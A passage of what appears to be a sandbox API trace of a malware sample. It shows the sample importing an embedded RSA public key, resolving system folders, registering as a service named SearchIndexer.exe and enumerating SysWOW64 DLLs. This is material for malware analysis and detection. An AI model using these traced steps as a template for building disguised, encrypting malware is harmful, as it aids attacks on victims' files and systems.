RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.407] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.408] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0184.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0184.408] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0184.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0184.408] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0184.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0184.408] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0184.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0184.409] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x34fad4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x34fad4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0184.409] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x8d7cf8, pcbBinary=0x34fad4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x8d7cf8, pcbBinary=0x34fad4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0184.409] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x34fad4 | out: pvStructInfo=0x0, pcbStructInfo=0x34fad4) returned 1 [0184.413] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x8d7f40, pcbStructInfo=0x34fad4 | out: pvStructInfo=0x8d7f40, pcbStructInfo=0x34fad4) returned 1 [0184.413] CryptImportPublicKeyInfo (in: hCryptProv=0x72dc10, dwCertEncodingType=0x10001, pInfo=0x8d7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x8d7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x8d7f78*, PublicKey.cUnusedBits=0x0), phKey=0x34fad8 | out: phKey=0x34fad8*=0x72dbd0) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d7f40) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d7cf8) returned 1 [0184.414] ReleaseMutex (hMutex=0xa0) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d5058 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c900 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c900) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d5058 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c900 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c900) returned 1 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c900 [0184.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e1e0 [0184.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c900, cbMultiByte=9, lpWideCharStr=0x24e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0184.414] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e268 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e1e0) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e268) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c900) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.414] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.415] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.415] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.415] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.415] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0184.415] StartServiceCtrlDispatcherW (lpServiceTable=0x34fba0*(lpServiceName="", lpServiceProc=0xe7d040)) [0212.741] SetServiceStatus (hServiceStatus=0x72e5c0, lpServiceStatus=0x34faa0*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 799 os_tid = 0x56c Thread: id = 800 os_tid = 0x5e0 Thread: id = 801 os_tid = 0x420 Thread: id = 802 os_tid = 0x12c [0184.565] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xe7ce51) returned 0x72e5c0 [0184.565] SetServiceStatus (hServiceStatus=0x72e5c0, lpServiceStatus=0x192fe04*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0185.115] GetCommandLineW () returned="C:\\Windows\\system32\\SearchIndexer.exe" [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e268 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5c) returned 0x24dd28 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e1e0 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e2f0 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e378 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e400 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e488 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e510 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e598 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e620 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e6a8 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e730 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e7b8 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x100) returned 0x8d7cf8 [0185.115] GetSystemWow64DirectoryW (in: lpBuffer=0x8d7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0185.115] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d7cf8) returned 1 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e840 [0185.115] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e840) returned 1 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e840 [0185.115] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x192fb60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x192fb60) returned 0x72fdc0 [0185.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x24c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.116] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.116] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.116] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.116] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.116] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0185.117] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.117] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x24c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.118] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x24c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.118] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.118] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.118] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.118] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x24c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.119] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.119] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x24c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.119] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0185.119] RtlAllocateHeap 